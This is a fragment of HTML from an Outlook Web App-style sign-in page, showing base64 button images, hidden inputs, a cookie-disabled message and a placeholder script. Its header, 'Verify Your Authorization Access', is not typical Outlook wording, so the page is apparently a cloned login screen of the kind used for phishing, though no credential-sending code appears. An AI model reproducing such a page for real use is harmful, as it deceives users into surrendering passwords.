<img class="imgLnk" src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABYAAAAWCAYAAADEtGw7AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAyBpVFh0WE1MOmNvbS5hZG9iZS54bXAAAAAAADw/eHBhY2tldCBiZWdpbj0i77u/IiBpZD0iVzVNME1wQ2VoaUh6cmVTek5UY3prYzlkIj8+IDx4OnhtcG1ldGEgeG1sbnM6eD0iYWRvYmU6bnM6bWV0YS8iIHg6eG1wdGs9IkFkb2JlIFhNUCBDb3JlIDUuMC1jMDYwIDYxLjEzNDc3NywgMjAxMC8wMi8xMi0xNzozMjowMCAgICAgICAgIj4gPHJkZjpSREYgeG1sbnM6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8yrl6hy+crYc0QeMIUdMM9IN8Cb8mmI8I1jatRwtLDkaZt+Mv0P1adB/INjxbYRddBmnsKczt/0s/F2lJrhT5vgHoTkvWVZWlyPF620zb2qPHOajT/iuQQ+uaeLWPiQyyvPNiHCs+zces45G5fimGORaPGI4XHHNjrAvSv22ibilJs+0tsSV2qEfb3oo7b6Xwuw/ZGIX7gzxpi/v+LRi9g+E4nymNFKStaMrxNsGxJxnZ1Fz3haokVDdImLqi3Kti7CZ+wkXQvVHq1TnqFoyBD9dP06zfZGzgpJwxPTseKzlM3iaOVtqyL1cMUTb9o2jj6xXWOFfRtERzhWLIOffeldkTVq/QQM9yE6zDH6rMmZh9APWOXNkGSxJHzoJuib5NhVfeCb+1g+yGpVubrX4IIlH3EVRYrfrulbNc/iXleTwxPPz9V0KKl0X02Wx2Wa9rhM890u018BBgDOvaD/8G2ecwAAAABJRU5ErkJggg==" alt=""><span class="signinTxt">sign in</span>
</div>
<input name="isUtf8" value="1" type="hidden">
</div>
<div class="hidden-submit"><input type="submit" tabindex="-1"></div>
</div>
</div>
<div id="cookieMsg" class="logonDiv" style="display:none">
<div class="signInHeader">Verify Your Authorization Access </div>
<div class="signInExpl">Please enable cookies for this Web site.<br><br>Cookies are currently disabled by your browser. Outlook Web App requires that cookies be enabled. <br><br>For information about how to enable cookies, see the Help for your Web browser.<br><br><br></div>
<div class="signInEnter">
<div onclick="clkRtry()" style="cursor:pointer;display:inline">
<img class="imgLnk" src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABYAAAAWCAYAAADEtGw7AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAyBpVFh0WE1MOmNvbS5hZG9iZS54bXAAAAAAADw/eHBhY2tldCBiZWdpbj0i77u/IiBpZD0iVzVNME1wQ2VoaUh6cmVTek5UY3prYzlkIj8+IDx4OnhtcG1ldGEgeG1sbnM6eD0iYWRvYmU6bnM6bWV0YS8iIHg6eG1wdGs9IkFkb2JlI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dhIfAJtgBQdXbvkAG5PCDb/OD7XIcByVwQNFLsA5iYJDE+O6SPuJbsrYq490ilulKZwrUwB4oeES8DPZBFDyDOCJvmBEHwDlFC8yrl6hy+crYc0QeMIUdMM9IN8Cb8mmI8I1jatRwtLDkaZt+Mv0P1adB/INjxbYRddBmnsKczt/0s/F2lJrhT5vgHoTkvWVZWlyPF620zb2qPHOajT/iuQQ+uaeLWPiQyyvPNiHCs+zces45G5fimGORaPGI4XHHNjrAvSv22ibilJs+0tsSV2qEfb3oo7b6Xwuw/ZGIX7gzxpi/v+LRi9g+E4nymNFKStaMrxNsGxJxnZ1Fz3haokVDdImLqi3Kti7CZ+wkXQvVHq1TnqFoyBD9dP06zfZGzgpJwxPTseKzlM3iaOVtqyL1cMUTb9o2jj6xXWOFfRtERzhWLIOffeldkTVq/QQM9yE6zDH6rMmZh9APWOXNkGSxJHzoJuib5NhVfeCb+1g+yGpVubrX4IIlH3EVRYrfrulbNc/iXleTwxPPz9V0KKl0X02Wx2Wa9rhM890u018BBgDOvaD/8G2ecwAAAABJRU5ErkJggg==" alt=""><span class="signinTxt" tabindex="0">retry</span>
</div>
</div>
</div>
</div>
</form>
<script>
if (showPlaceholderText) {
setPlaceholderText();
}
</script>
</body></html>